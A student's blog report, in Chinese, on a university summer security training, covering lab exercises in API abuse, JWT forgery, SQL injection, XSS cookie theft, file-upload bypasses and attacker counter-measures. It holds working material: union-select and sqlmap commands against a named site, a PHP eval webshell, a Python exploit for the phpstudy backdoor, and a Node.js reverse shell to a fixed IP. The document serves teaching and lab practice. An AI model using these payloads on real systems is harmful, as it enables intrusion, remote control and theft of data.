四川大学网络空间安全学院暑期实训总结

发布时间 2023-12-28 19:27:33作者: Leo1017
  1. 实习目的、要求:

本次实训以网络与信息安全实用化人才培养体系为指导,以学生在校实际学习课程为理论基础,主要通过对各个网络安全漏洞原理的实际训练,使学生掌握基于云计算、WEB服务等方面的漏洞原理和利用方法。培养学生实际动手操作能力以及理论转化运用能力,除了基础理论验证外,还加强了学员面对逐级递增防御手段的进阶知识运用能力,进一步加深学员对知识使用的深度和广度,同时在实训中还会安排CTF赛题练习。实训中将巩固学生对漏洞防御的理解以及锻炼学生的安全防护能力。总体来说,还是为了让学生达到学以致用,为日后的求学深造或是职场打下坚实基础。

学员本次实训将掌握到的知识要点如下:

  1. 掌握安全岗位整体知识轮廓和成长路径;
  2. 掌握典型的黑客攻击的方法及防范攻击的技巧;

能够利用所学渗透技术进行企业漏洞挖掘及渗透项目实战。

  1. 实习主要内容:

实训主要包含以下主题:

  1. 网络安全行业及Web安全介绍
  2. 安全攻防展示
  3. 各类系统差异简介及使用
  4. 构建靶场环境—搭建WAMP集成环境;
  5. 网站搭建
  6. PHP基础
  7. 云安全攻防技术了解
  8. WEB安全-SQL注入
  9. WEB安全-XSS漏洞
  10. WEB安全-文件上传
  11. 代码编写-爬虫实现
  12. 代码审计
  13. 信息搜集及利用
  14. 红蓝对抗中的攻击反制
  15. 安全防护——基线检查及系统加固
  16. CTF比赛初识等

各实训主题主要过程记录见下方。

  1. 主要过程记录

  2. 部署网站

    1. 部署Discuz论坛

      内容:了解php动态网站的简单运行原理,搭建论坛程序并访问

      步骤:

    拷贝应用源码到网站根目录下

    浏览器访问本机IP,即:192.168.147.128

    进行安装

    1. 设置数据库账号密码(本处不变,为默认mysql环境下的默认管理员用户)

    2. 设置管理员密码(123

    确认安装完成

    1. 新建练习网站

      内容:新建一个网站用于测试php脚本,不影响已有的网站功能

      步骤:

      新建网站并配置域名为web.test,虚拟机通过设置自动写入hosts文件并重启服务

      在物理主机中修改配置文件,增加一条配置规则`192.168.1447.128 web.test`,将域名web.test对应虚拟机ip地址192.168.147.128

      物理主机测试访问域名,成功(phpinfo是自动生成的)

      (四)个人总结

      我学到了使用phpenv快速搭建环境,并修改phpenvvmware的一些参数进行端口映射,NAT转换,新建域名等操作,使能从物理机访问到虚拟机网站,为后续靶场搭建建立了基础,第一次尝试集成环境搭建

  3. 接口安全练习

    1. 个人理解和总结

      API漏洞是指在API(应用程序编程接口)的设计、实现或使用过程中存在的安全漏洞。攻击者可以利用这些漏洞来执行未经授权的操作、窃取敏感信息、破坏系统或服务的可用性等。常见的API漏洞包括身份验证和授权问题、输入验证不足、敏感数据泄露、跨站点请求伪造(CSRF)等。

      如何防护:

      开发人员需要仔细设计和实现API,确保输入验证、身份验证和授权的正确性,并对敏感数据进行适当的保护。同时,开发人员还需要定期审查和更新API,以确保其安全性。包括识别和确认漏洞、评估漏洞影响、制定修复计划、修复漏洞、测试修复效果和监控漏洞情况等。

    2. 练习

Challenge-1

访问社区模块的接口并使用burpsuite进行抓包,发现返回了用户的敏感信息(json格式),其中的vehicleid为车辆的id;访问地图刷新的接口,抓包,发现返回了包括经纬度的车辆详细信息,而更改车辆id(前面已经拿到)后,同样返回了该车辆的信息

Challenge-2

填写完维修部分的报告后抓包,发现返回了记录维修报告信息的接口访问地址,访问该地址,成功拿到了维修报告的数据,改变id的值可以获得其他的维修报告的数据

Challenge-3

选择重置密码模块,用户名、邮箱等信息都在前面获取到,唯一需要获取的是向邮箱发送的四位验证码,位数较少,可以考虑进行验证码爆破,将修改密码的请求抓包放入intuder模块进行爆破

由于是练习,并不选择将10000个数全部爆破一遍,社区版不能多线程

通过状态码200和响应字段的提示,3004为验证码,爆破成功

Challenge-4

访问社区模块的接口并抓包

发现泄露了评论用户的个人信息(如邮箱等,json格式)

Challenge-5

上传一个视频后访问Change Video Name,并抓包

注:这里返回信息很短是因为我是把一个图片后缀名改成mp4格式后传上去的

Challenge-6

访问维修报告上传模块并抓包,将 repeat_request_if_failed 改为 true,允许进行多次重复上传,将 number_of_repeats 改为较大的数字,达到不断进行访问的目的,最终实现 DoS 攻击

Challenge-7

访问视频接口并抓包

常见的HTTP请求方法:

1OPTIONS:返回服务器所支持的HTTP请求方法

2HEAD:向服务器索与GET请求相一致的响应,只不过响应体将不会被返回

3GET:向特定的资源发出请求。

4POST:向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。

5PUT:向指定资源位置上传其最新内容

6DELETE:请求服务器删除Request-URL所标识的资源

7TRACE:回显服务器收到的请求,主要用于测试或诊断

8CONNECTHTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。

先使用OPTIONS方法,得到服务器支持PUT GET HEAD DELETE OPTIONS方法,故可以使用DELETE方法删除视频

User权限不够,改成admin即可,成功删除视频,若修改视频ID可任意删除视频

Challenge-8

访问shop模块并提交一个订单,抓包

获得提交的订单的id,访问该id的订单

发现'delivered'表示已收到货品,'return pending' 表示退货, 'returned' 表示已经退货,使用PUT方法修改状态参数statusreturned,表示已经退货,系统自动退钱

Challenge-9

发现订单的数量也是可以修改的,将数量修改成1000,状态修改成已退货状态,余额增加10000

Challenge-10

通过尝试发现可以修改conversion_params参数(conversion_params 是转码参数)

尝试修改profileVideo参数发现失败,不能直接修改视频的内容。

Challenge-11

DNSlog上获取到子域名,并将请求地址更改为之前拿到的子域名

DNSLog平台中查看结果,成功带出了DNSLog

Challenge-12

"$ne"MongoDB中的一个操作符,表示"不等于(not equal)"。在查询语句中使用"$ne"可以筛选出指定字段不等于给定值的文档;"$ne"操作符只能用于筛选出指定字段不等于给定值的文档,如果要筛选出指定字段等于给定值的文档,应该使用"$eq"操作符或者直接使用等于号"="

coupon_code的值为"$ne":"xxxxxxxxxxxxxxxx",即筛选出优惠码不等于xxxxxxxxxxxx的值,也就是把所有值都查询出来,实现nosql注入

Challenge-13

通过代码审计获得申请优惠券的接口

使用sql注入,成功获得优惠券

Challenge-14

维修报告接口:workshop/api/mechanic/mechanic_report?report_id=3

订单接口:workshop/api/shop/orders/3

Challenge-15

JWT 由三部分组成,分别为 Header—头部;Payload—负载,Signature—签名。它们之间由三个 **.**分隔,由 Base64 加密而来。相比传统的基于 Session 的用户认证方案扩展性更强。

通过对请求头中的JWT令牌进行解码,可以得出该令牌使用的是基于SHA-256哈希算法和RSA签名算法的加密算法,.well-known目录通常包含了一些用于验证网站身份的文件,访问其目录下的jwks.json文件,获得RSA公钥。

去到JWT editor选项卡,点击New RSA Key 复制JWK set内容保存

再右键我们新建的 Key Copy Public Key as PemPEM格式是一种常见的密钥和证书的编码方式,采用Base64编码,文件的开头和结尾分别有"-----BEGIN...""-----END..."行,用于标识文件的类型和版本。在这些标识行之间的内容是经过Base64编码的二进制数据,可以是私钥、公钥、证书等。

Decoder 选项卡对这个 PEM 密钥进行 Base64 编码,然后复制生成的字符串

再次回到 Burp 主选项卡栏中JWT Editor Keys 选项卡,点击 New Symmetric Key, Generate, k 属性的生成值替换为 PEM Base64 编码

然后在 burp 的请求中可以发现 json web token 选项卡,在选择卡左下角处也可以看到对 json web token 的攻击选项

官网提供了三种伪造方法,第一种是可以将alg的值修改成none,即无JWT验证,相应地签名部分自然也就没有了,发现Authorization 字段值明显减少。伪造成功

第二种方法可以使用算法加密混淆,原本服务器要求使用非对称密码,但是可以把 JWT 标头修改为对称密码(如HS256),这样服务器会使用已知的公钥作为对称密钥验证,当前使用的是 RS256 RSA+SHA-256),修改为HS256

Challenge-16

POST方法常用于添加数据,将GET请求方法改为 POST,并在请求体中添加商品信息

quantity参数修改为负数,发现余额成功增加

(四)接口安全的修复思路反思及个人总结:

接口安全的修复思路包括加强安全意识、进行参数验证和权限控制、进行安全测试、掌握安全编程技术和工具等几个关键点。开发人员应该了解常见的接口攻击方式,严格验证接口参数,授权给需要访问接口的用户,进行安全测试,使用安全框架和加密算法等技术和工具,以提高接口的安全性

 

  1. 云安全

    1. 概念

1. 什么是ECS?产生背景和优势是什么?

ECS 指的是弹性计算服务(Elastic Compute Service),是阿里云提供的一种基础计算服务,可以帮助用户快速地获取和释放计算能力。ECS 产生的背景是随着云计算的发展,越来越多的企业和个人需要在云上运行应用程序,而 ECS 则提供了一种快速、灵活、安全、稳定的计算能力获取方式。ECS 的优势主要包括:

快速部署:ECS 提供了多种预配置的镜像,用户可以快速部署自己的应用程序。

弹性扩展:ECS 可以根据用户的需求自动扩展计算能力,避免了资源浪费和性能瓶颈。

灵活配置:用户可以根据自己的需求选择不同的实例规格、存储类型和网络配置等。

安全可靠:ECS 提供了多种安全机制,如安全组、防火墙、DDoS 防护等,确保用户的计算环境安全可靠。

易于管理:ECS 提供了多种管理工具和 API,方便用户进行实例管理、监控和自动化运维等操作。

2. 什么是安全组?有何作用?

安全组(Security Group)是阿里云提供的一种网络安全组件,用于设置一系列入站和

出站规则,以控制云服务器(ECS)实例的网络访问。安全组可以视为一种虚拟的"防火墙",可以对云服务器实例的网络流量进行过滤,从而提高网络安全性。安全组的作用主要有以下几点:

控制入站和出站流量:安全组可以通过设置入站和出站规则,控制云服务器实例的网络访问,从而防止未经授权的访问。

防范网络攻击:安全组可以设置一系列规则,如禁止特定 IP 地址或端口的访问,从而防范网络攻击。

简化网络管理:安全组可以应用于多个云服务器实例,从而简化网络管理,减少管理工作量。提高网络安全性:安全组可以提高网络安全性,保护云服务器实例中的敏感数据和应用程序。需要注意的是,安全组只能控制云服务器实例的网络流量,不能控制云服务器实例本身的安全性。因此,在使用安全组时,还需要采取其他措施,如加密敏感数据、定期更新系统和应用程序补丁等,以提高云服务器实例的安全性。

3. 阿里云中什么是RAM,有何作用?

RAMResource Access Management)是阿里云提供的一种身份和访问管理服务,用于帮助用户管理阿里云资源的访问权限。RAM 可以将云资源和操作权限进行分离,从而实现资源的细粒度授权和管理。RAM 的主要作用包括以下几点:细粒度授权:RAM 可以对阿里云的各种云资源进行细粒度的授权,例如对 ECS 实例、RDS 据库、OSS 对象存储等进行权限管理。安全管理:RAM 可以帮助用户管理阿里云资源的访问权限,从而提高云资源的安全性。简化管理:RAM 可以将多个阿里云账号的访问权限集中管理,从而简化用户的管理工作。提高效率:RAM 可以根据用户的需求自动分配和回收访问权限,从而提高管理效率。支持跨账号访问:RAM 可以实现跨账号的资源访问和管理,方便不同团队之间的协作。

4. 什么是OSS,有何作用和优势?

OSSObject Storage Service)是阿里云提供的一种海量、安全、低成本、高可靠的云存储服务。OSS 可以存储和管理各种类型的非结构化数据,如图片、音频、视频、文档等,支持多种访问方式,如 WebAPISDK 等,适用于各种场景,如网站、移动应用、大数据分析等。OSS 的优势和作用主要包括以下几点:高可靠性:OSS 采用分布式存储架构,数据可以自动复制到多个节点,从而提高数据的可靠性和容错性。高性能:OSS 采用多级缓存和 CDN 加速技术,能够快速地读写海量数据。低成本:OSS 的存储和流量费用非常低廉,用户只需按照实际使用量付费。易于使用:OSS 提供了多种访问方式,如 WebAPISDK 等,用户可以根据自己的需求选择合适的方式进行数据存储和管理。安全可靠:OSS 提供了多种安全机制,如访问控制、加密存储、数据备份等,从而保障用户数据的安全性和可靠性。适用于多种场景:OSS 可以存储和管理各种类型的非结构化数据,适用于各种场景,如网站、移动应用、大数据分析等

5. AccessKey泄露有何风险?

Access Key是一种用于标识和验证用户身份的密钥,用于访问云服务 API。在阿里云中, Access KeyAccess Key IDAccess Key Secret两部分组成。其中,Access Key ID 用于标识用户身份,Access Key Secret 用于加密和验证 API 请求。用户可以通过阿里云控制台创建 Access Key,并将其用于API 访问和身份验证。需要注意的是,Access Key 是非常重要的敏感信息,用户需要妥善保管,避免泄露和滥用。如果 Access Key 泄露,用户应及时删除该Access Key 并重新生成新的 Access Key

6. 什么是SSRF漏洞?

Server Side Request Forgery,服务端请求伪造。是一种常见的 Web 应用程序安全漏洞,攻击者可以通过构造恶意请求,使服务器端向内部网络或外部网络发起请求,从而获取敏感信息或攻击内部网络。

7. 阿里云中SSRF漏洞的危害是什么?

接管账户。

(二)修复思路:

1. 应用存在漏洞,需要修补应用漏洞。

2. RAM 角色权限过大,导致可以通过该角色的权限进行创建子用户以及给子用户授予高权限等操作

整改:在为 RAM 角色赋予权限时,避免赋予过高的权限,只赋予自己所需要的权限。

3. 元数据未做加固访问,导致一旦目标存在 SSRF 漏洞,元数据就存在被获取的风险。

整改:在「系统配置」的「高级选项」中将「实例元数据访问模式」设置为「仅加固模式」

(三)个人总结

身份认证是云安全的重要组成部分,包括用户身份验证、访问授权等多个方面。在使用云服务时,一定要注意身份认证,尤其是强密码的使用和多因素身份认证的开启。

访问控制是云安全的另一个重要组成部分,包括访问权限、资源配额、审计等多个方面。在使用云服务时,一定要注意访问控制,尤其是对于敏感数据和重要资源的访问控制。

  1. SQLi漏洞

    1. 漏洞概念

SQL 注入攻击指的是通过构建特殊的输入作为参数传入 Web 应用程序,而这些输入大都是 SQL 语法里的一些组合,通过执行 SQL 语句进而执行攻击者所要的操作。

  1. 漏洞原理

后端将前端提交的查询参数拼接到代码的SQL语句模板中进行查询,当攻击者提交带有非预期sql查询片段时,导致数据库被意外查询。

  1. 漏洞危害

1. 数据库信息泄露

2. 条件满足的情况下(能够通过数据库执行命令),导致服务器被接管

  1. 修复思路

1.使用参数化查询:使用参数化查询可以将用户输入的数据作为参数传递给SQL语句,从而避免了恶意SQL注入的风险。

2.输入验证:对用户输入的数据进行验证,确保其符合预期的格式和类型。

3.转义字符:将特殊字符进行转义,从而避免其被误解为SQL语句的一部分。

4.最小化权限:将数据库用户的权限限制到最小,只授予其必要的权限。

5.使用ORM框架:使用ORM框架可以将数据库操作抽象出来,从而避免手动编写SQL语句的风险。

  1. 漏洞利用过程

输入newsId=2-1返回newsId=1时的数据,说明后端执行了计算,发现为注入点并判断为整数型注入

1. 查库名

ORDER BY作用为让结果按照某一列的值进行排序,当选定一个不存在的值时会报错,通过这一性质可以用来判断当前访问的表的列数

10开始逐渐减小列数,当选择第5列时开始正常返回数据,判断一共有5列,为了让后续注入操作正常返回数据,需要凑够5

database()函数用于返回数据库的库名;为了增加一条SELECT查看语句,需要使用UNION来进行联合查询,但为了不让前面查新闻的结果产生干扰,设置newsId=-1,使前一个查询为空,为了凑够五列,使用四个整数进行填充,即:

http://www.wabjtam.ml:12380/News/newsView.php?newsId=-1 union select 1,2,database(),4,5

成功返回库名 double_fish

对应的sqkmap查询语句如下:

python sqlmap.py -u http://www.wabjtam.ml:12380/News/newsView.php? newsId=1 --current-db

注:sqlmap使用中,未知参数使用--,已知参数使用-

sqlmap查询结果如上

2. 查表名

information_schema数据库是 MySQL 自带的信息数据库,存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。其本质是一个视图。

TABLES表存储数据库中的表信息(包括视图)

COLUMNS 表存储表中的列信息

group_concat()函数是 MySQL 中的一个聚合函数,用于将多行中的某一列的值连接起来,形成一个字符串。

对应查询的url为:

http://www.wabjtam.ml:12380/News/newsView.php?newsId=-1 union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema ='double_fish'

对应查询的sqlmap语句为:

python sqlmap.py -u http://www.wabjtam.ml:12380/News/newsView.php? newsId=1 -D double_fish --tables

3. 查列名

对应查询的url为:

http://www.wabjtam.ml:12380/News/newsView.php?newsId=-1 union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema='double_fish' and table_name = 't_admin'

对应查询的sqlmap语句为:

python sqlmap.py -u http://www.wabjtam.ml:12380/News/newsView.php? newsId=1 -D double_fish -T t_admin --columns

4. 查记录(拿到管理员用户名和密码)

对应查询的url为:

http://www.wabjtam.ml:12380/News/newsView.php?newsId=-1 union select 1,username, password,4,5 from t_admin

对应sqlmap查询可以进入sql-shell中执行sql语句

python sqlmap.py -u http://www.wabjtam.ml:12380/News/newsView.php? newsId=1 --sql-shell

成功拿到密码的哈希值

得到密码:admin

注:在sqlmap中我试图执行UPDATEDELETE等语句,发现执行失败,原因是sql注入能执行语句依赖的是原始查询后UNION跟着的第二个查询语句,若要执行其他非查询语句,需要加 ; 表示另起一条查询,但目标服务器拒绝了sql的堆叠查询,即一次只能执行一条完整的sql语句。所以此处的sql注入只能执行查询语句。

(六)个人总结

SQL注入攻击的方式多种多样,包括基于整数的注入、基于盲注的注入、基于字符的注入等多个方面。攻击者可以利用一些工具自动化地发现和利用SQL注入漏洞;除了预防和修复SQL注入漏洞外,还可以采用一些其他的安全措施,如加强访问控制、使用加密技术、进行安全审计等,从而提高Web应用程序的安全性。

  1. XSS漏洞

    1. 漏洞概念

      Cross Site ScriptingXSS),跨站脚本攻击。

    2. 漏洞原理

      攻击者提供一段恶意的javascript代码,通过各种方式在受害者浏览器(暂定)上执行。

    3. 漏洞危害

1. 窃取coockie

2. 制造网站蠕虫

3. 钓鱼

  1. 修复思路

1. 在http响应头的set-cookie的值中加入http-only的内容;

2. 对输入的内容进行检查、提示,或者转义(html实体化编码实现)(不推荐)

3. 对于富文本需求来说,采用成熟的前端编辑器。如果非要自己开发富文本编辑器,可以使用白名单策略让输入内容合规(推荐)

  1. 漏洞利用过程

    1. 受害者注册账号

2. 攻击者注册xss平台账号,拿到攻击代码

注册xss平台获得目标靶机要访问的链接,xss平台其实就是提供了一个xss服务器,当被插入的js代码执行时,靶机会访问插入的链接,指向xss平台提供的xss服务器,并留下访问记录,以此来获得靶机的一些信息(如:cookie等)

3. 攻击者发布一个带有攻击代码的帖子(引诱受害者点击)

攻击者可以写一个容易引诱靶机点击访问的标题,并在文章内容处添加xss漏洞插入的js代码

受害者访问,后台自动执行了插入的js代码,访问xss服务器并留下了访问记录

4. 攻击者收获cookie,以受害者身份活动

 

攻击者在xss平台上成功获取了靶机的cookie

使用ModHeader增加请求报文的cookie项为刚获取的值

发布报文,成功使用受害者的账号发布帖子

(六)个人总结

XSS攻击的方式多种多样,包括反射型XSS、存储型XSSDOMXSS等多个方面。预防XSS漏洞的关键在于输入验证和输出过滤。在编写应用程序时,一定要注意对用户输入进行验证和过滤,不要将用户输入直接输出到HTML页面中。

  1. 文件上传漏洞

    1. 漏洞概念

      文件上传漏洞是指用户上传了一个可执行的脚本文件,利用应用程序未能正确验证上传文件的类型、大小、扩展名等,从而绕过应用程序的安全机制并通过此脚本文件获得了执行服务器端命令的能力。

    2. 漏洞原理

      当上传功能的实现代码没有严格校验上传文件的后缀和文件类型,此时攻击者就可以上传一个 webshell 到一个 Web 可访问的目录上,并将恶意文件传递给如 PHP 解释器去执行,之后就可以在服务器上执行恶意代码,

    3. 漏洞危害

条件满足的情况下:

1. 覆盖正常文件内容

2. 写入网马(webshell)

3. 控制服务器

  1. 修复思路

(1) 使用白名单策略核查上传的文件类型;

(2) 升级网站组件;

(3) 完善文件上传检测的逻辑,明确核查的对象是文件名和临时文件;

(4) 将上传的文件存储在独立的目录中,设置文件的权限

  1. 漏洞利用过程

编写木马文件:

<?php

    echo("hacked by Leo");

    eval($_REQUEST['cmd']);

?>

@PHP提供的错误信息屏蔽专用符号,使用REQUEST方法可以同时接受GETPOST请求的cmd参数值,更加灵活,echo回显方便确认是否上传成功

  1. 1

    阅读源码发现是前端一段js代码判断文件类型是否正确,属于前端绕过,先上传一个jpg格式,抓包改成php格式即可

成功上传!

  1. 2

    阅读代码发现是后端通过查看请求报文中Content-Type的值来判断文件类型的,两种方法:一是上传jpgContent-Type自动判断为image/jpeg,修改后缀名为php,二是上传php,修改Content-Type值为image/jpeg

 

成功上传!

  1. 3

通过阅读源码发现是黑名单验证,需要进行后缀名绕过,发现对"::DATA"仅进行了一次过滤,在windows中文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名。所以这里选择双写::DATA

成功上传!

4. 4

可尝试上传.htaccess规则文件增添解析规则进行绕过(CTF部分有成功的例题)

删去对.htaccess文件的黑名单限制

5. 5关(注:在php7的环境下才成功)

.user.ini相当于一个用户自定义的php.ini文件,意为将所有的php文件都自动包含shell.jpg这个文件

先上传.user.ini文件

再上传shell.jpg,成功上传!

6. 6

Windows系统中对文件名中的大小写不敏感,而linux系统下对文件名的大小写敏感,观察源码发现没有大小写过滤,于是使用.PHP大写绕过

上传shell.PHP

成功上传!

7. 7

Windows系统中文件名后面的空格不会影响文件的执行,而观察源码发现并没有对空格进行过滤,于是在文件名后面加上空格绕过

成功上传!

8. 8

Windows系统中,文件后缀名的最后一个点会被去除,观察源码发现没有对点进行过滤,于是在文件名后面加上点进行绕过

成功上传!

9. 9

windows中文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,观察源码没有对::DATA和点进行过滤,尝试使用双点(. .),发现上传失败,说明deldot()函数被重写了,所以文件名后面加上::DATA进行绕过

上传成功!

10. 10

观察源码发现仅对点过滤,于是双写点(中间加空格),成功绕过,说明这里的deldot()没有被重写,只删除了文件名末尾的最后一个点

成功上传!

11. 11

观察源码发现仅对php这一后缀名进行了一次替换为空,于是双写后缀名进行绕过(.pphphp

成功上传!

12. 12

url%00表示ASCII码中的0 ,而ASCII0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束,在webshell后面加上00%就绕过了后缀限制

注:php5.3.4以上版本已经修复该问题

先上传shell.jpg,并且抓包时不用改成php,因为文件的路径由POST请求确定,完整的为/upload/shell.php%00/shell.jpg,但%00后面的截断,故只读到shell.php,当然按照php文件执行

成功上传!

13. 13

POST中不会像GET方法一样通过URL传递参数并进行URL解码的操作,而%00URL编码的格式,不能直接加在文件名后,POST方法是在二进制中进行修改,所以在burpsuite中先进行url解码,注意解码出的字符是不可见字符

成功上传!

14. 14

getRealFileType()函数通过读取上传文件的文件头来判断文件类型,故不能再对文件后缀名进行操作。

将一张png格式的图片放入十六进制编辑器中,其中89 50 4E 47 0D 0A 1A 0A png的文件头,表示这是一个png图片,故可以通过制作图片马(伪造文件头)上传webshell

法一:可以选择一张很简单的png图片(图片过大可能会产生乱码导致php执行错误),用notepad打开并在最后加上一句话木马,这样可以制造一个简单的图片马

法二:(推荐使用,减少出错)使用windows自带的copy命令进行文件合并,shell.phpshell.png合并(shell.png是真的图片)

建议使用copy命令

文件包含会将指定的文件添加到当前正在执行的文件中

常见的四种文件包含函数:

require():找不到被包含的文件会产生致命错误,并停止脚本运行

include():找不到被包含的文件只会产生警告,脚本继续执行

require_once()require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含

include_once()include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含

上传图片马,并在include.php文件中指定包含,木马成功执行!

15. 15

14关,利用文件上传漏洞上传图片马

上传图片马,并在include.php文件中指定包含,木马成功执行!

  1. . 16

需要开启php_exif模块

17. 17

先上传图片马,然后访问失败,下载后发现与上传时文件大小不同,说明被修改过,发生了二次渲染:即在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。绕过时需要放入十六进制编辑器中进行比对,将木马插入到没有被修改的地方,就可以制作出防二次渲染的图片马

成功执行phpinfo()函数!

(六)文件上传总结

1. 前端绕过:检查后缀名(白名单)

2. MIME绕过:后端获取Content-Type并进行白名单验证

3. 配置文件绕过:

I. .htaccess文件:让图片按照php解析

. .user,ini文件:文件包含

4. 后缀绕过

.点绕过:$file_name = deldot($file_name);

.空格绕过:$file_ext = trim($file_ext);

.::DATA绕过:$file_ext = str_ireplace('::$DATA', '', $file_ext);

.双写绕过:$file_name = str_ireplace($deny_ext,"", $file_name);

. 大小写绕过:$file_ext = strtolower($file_ext);

5. 00截断

. GET00%

. POSTurl_decode(00%)

6. 图片马:注意二次渲染

  1. 爬虫编写

影响版本:

phpstudy 2016 php-5.4

phpstudy 2018 php-5.2.17

phpstudy 2018 php-5.4.45

(一)公布phpstudy服务

1. 新克隆一台虚拟机(不能有phpenv环境,否则会冲突),注意使用链接克隆,该方法是将原虚拟机的内存映射到克隆机上,占用内存极少

2. 安装phpstudy后门版本

3. 将虚拟机80端口监听的http服务映射到主机6789端口上面,注意编辑的虚拟网卡是VMnet8

VMnet0:桥接模式,相当于一个真实的物理网卡,主机和虚拟机是平行关系,可以自由访问和被访问

VMnet1host-only模式,虚拟机之间、主机与虚拟机之间互访,但虚拟机无法访问外网

VMnet8NAT模式,最常用,主机相当于虚拟机的NAT服务器,虚拟机之间、主机与虚拟机之间互访,虚拟机可以通过主机访问外网,外网无法访问虚拟机(无内网穿透)

(二)手工复现漏洞

在某个文件下发现了eval()危险函数,执行了一个变量的内容

使用burpsuit抓包,在HTTP请求报文中将Accept-Encoding改为Accept-Encoding:gzip, defate(注意去掉空格),并添加一条Accept-Charset: c3lzdGVtKCdpcGNvbmZpZycpOw==

其中,Accept-Encoding用于告知服务器客户端所支持的压缩算法类型;Accept-Charset用于告知服务器客户端所支持的字符集编码方式

内容是是命令:whoamiBase64编码,发现成功返回结果,漏洞复现成功

(三)Exp编写

import requests

import base64

 

url = r'http://10.133.29.135:6789/' # r表示不会对字符串中的反斜杠转义

logo = '''

  ____                _____   _  __  _____     ____     ____    _____  

 |  _ \      /\      / ____| | |/ / |  __ \   / __ \   / __ \  |  __ \

 | |_) |    /  \    | |      | ' /  | |  | | | |  | | | |  | | | |__) |

 |  _ <    / /\ \   | |      |  <   | |  | | | |  | | | |  | | |  _  /

 | |_) |  / ____ \  | |____  | . \  | |__| | | |__| | | |__| | | | \ \

 |____/  /_/    \_\  \_____|                                                                                                                                      

'''

 

print(logo)

 

while(1):

    command = input('Please input your command here:')  # get the user's command

    if("exit" not in command):

        # string-->bytes-->base64-->string

        exp = base64.b64encode(("system('%s');" % command).encode()).decode()  

        headers = {"Accept-Encoding": "gzip,deflate",

                   "Accept-Charset": exp}   # change the headers to satisfy the backdoor

        req = requests.get(url=url, headers=headers)    # http's GET method

        html_byte = req.content # get the bytes of the web page

        html_text = html_byte.decode('GB2312')  # use GB2312 to get strings of the pages

        print(html_text.split("<!DOCTYPE html>")[0])    # use "<!DOCTYPE html>" filter the BOM

    else:

        exit()

总体思路:通过request方法访问有后门的网站,并将header参数设为能触发此后门的值,将命令编码并作为参数传给后门执行,返回结果。

每行代码的具体功能见后面跟着的注释,这里是用content方法获取响应网页的字节码格式,也可以使用text方法,即:

req = requests.get(url=url, headers=headers)

        req.encoding = 'GB2312'

        html_byte = req.text

        print(html_byte.split('<!DOCTYPE html>')[0])

最终运行的结果如下:

被控制端意识不到后门的存在,只有正常的日志访问记录

  1. 代码审计——认识

    1. 概念

代码审计是一种评估代码安全性的技术,其主要目的是发现代码中可能存在的安全漏洞和缺陷,帮助开发者及时发现并修复潜在的安全问题

(二)三种代码审计方式:

1. 代码通读审计(不推荐)

2. 危险函数审计,常见危险函数:

代码执行:eval()assert()preg_replace('/test/e', 'phpinfo();', 'abcrewr')

命令执行:exec()shell_exec()system()

文件包含:require()require_once()include()include_once()

操作文件:fopen()fread()fwrite()file_get_content()file_put_content()rename()delete()

变量覆盖:parse_str()

3. 关键功能及代码对照审计

(三)练习

使用seaybtslab的源码进行自动审计,发现一个可能存在xss漏洞的网站

对这一部分的代码进行通读,发现这个a标签的title属性的属性值是从前端发起的GET请求中携带的参数t所决定的,而这个参数值没有进行任何的格式化处理,而是直接在标签中回显,判断确实存在xss漏洞

在前端将GET请求中参数t的值修改为xss_test,成功回显,于是注入js代码,使用">将前面的a标签闭合,然后插入script标签

成功注入,说明该漏洞可以利用!

  1. 红蓝对抗中的对攻击的反制

    1. 概念

攻击反制分为技术手段和非技术手段

技术手段:

1. 分析对方工具的漏洞

2. 蜜罐

非技术手段:

1. 钓鱼和反钓鱼

2. 从攻击者目的思考反向获取对方信息

反制还分为直接反制和钓鱼反制,直接反制就是对对方主机进行攻击,钓鱼反制就是引诱对方进入。

  1. 反制mysql客户端

蜜罐:一个诱捕攻击者的陷阱,设计蜜罐的初衷就是让黑客入侵,借此收集黑客的信息和行动证据,随时了解针对服务器发动的最新攻击和漏洞。

漏洞原理:LOAD DATA INFILE是一种MySQL命令,用于将CSVTXT等格式的数据文件导入到MySQL数据库中的表中。它可以帮助用户快速地将大量数据导入到数据库中,而不需要手动插入每一行数据,通常有两种用法,分别是:

读服务器本地文件和读客户端的文件。而我们这次要利用的也就是LOAD DATA LOCAL INFILE这种形式。

运行伪造的mysql服务端(蜜罐),3306端口被占用,监听3307端口

攻击者在navicat上尝试连接伪服务器的数据库,连接失败,反制方已经成功读取文件

 

  1. 反制蚁剑低版本

原理:低版本蚁剑在 webshell 远程连接失败时,返回错误信息使用的是 html 解析,导致 xss 漏洞。

使用phpenv搭建web服务器,将木马文件放入网站根目录

 

使用蚁剑成功连接

开始反制:

修改木马文件,包含一个img标签的js代码,因为src没有目标URL,必然返回错误,导致webshell连接失败,从而触发蚁剑的xss漏洞

插入的js代码成功执行

 

蚁剑同样支持nodejs脚本,但需要进行Base64编码,创建一个子进程,子进程中调用exec()函数执行系统命令calc,弹出计算器

通过从网上查阅资料可知,可将这一漏洞进一步利用,由于可以执行js代码,可以使用js代码建一个socket,接受命令后执行并返回,在攻击端使用nc监听最终建立连接,将一个xss漏洞扩展为了RCE(远程命令执行)

具体js代码如下:

var net = require("net");

var cmd = require("child_process").exec("cmd.exe");

var socket = new net.Socket();

socket.connect(1971, "192.168.147.133", function(){

    socket.pipe(cmd.stdin);

    cmd.stdout.pipe(socket);

    cmd.stderr.pipe(socket);

});

当然,要用Base64进行散列计算

 

(四)利用mysql蜜罐获取微信ID

启动mysql伪服务器(这里先把mysql服务关闭,开放出3306端口),按照微信默认存储地址,在C盘的User目录下,所以需要先获得用户的主机名,在C:\Windows\DirectX.log文件中可以获得

成功拿到用户名

这里我的微信存储地址更改过,所以访问更改地址后配置文件,形成路径:

 

读取该文件

成功拿到wx_id

  1. 安全加固

windows 操作系统加固;

Linux 操作系统加固;

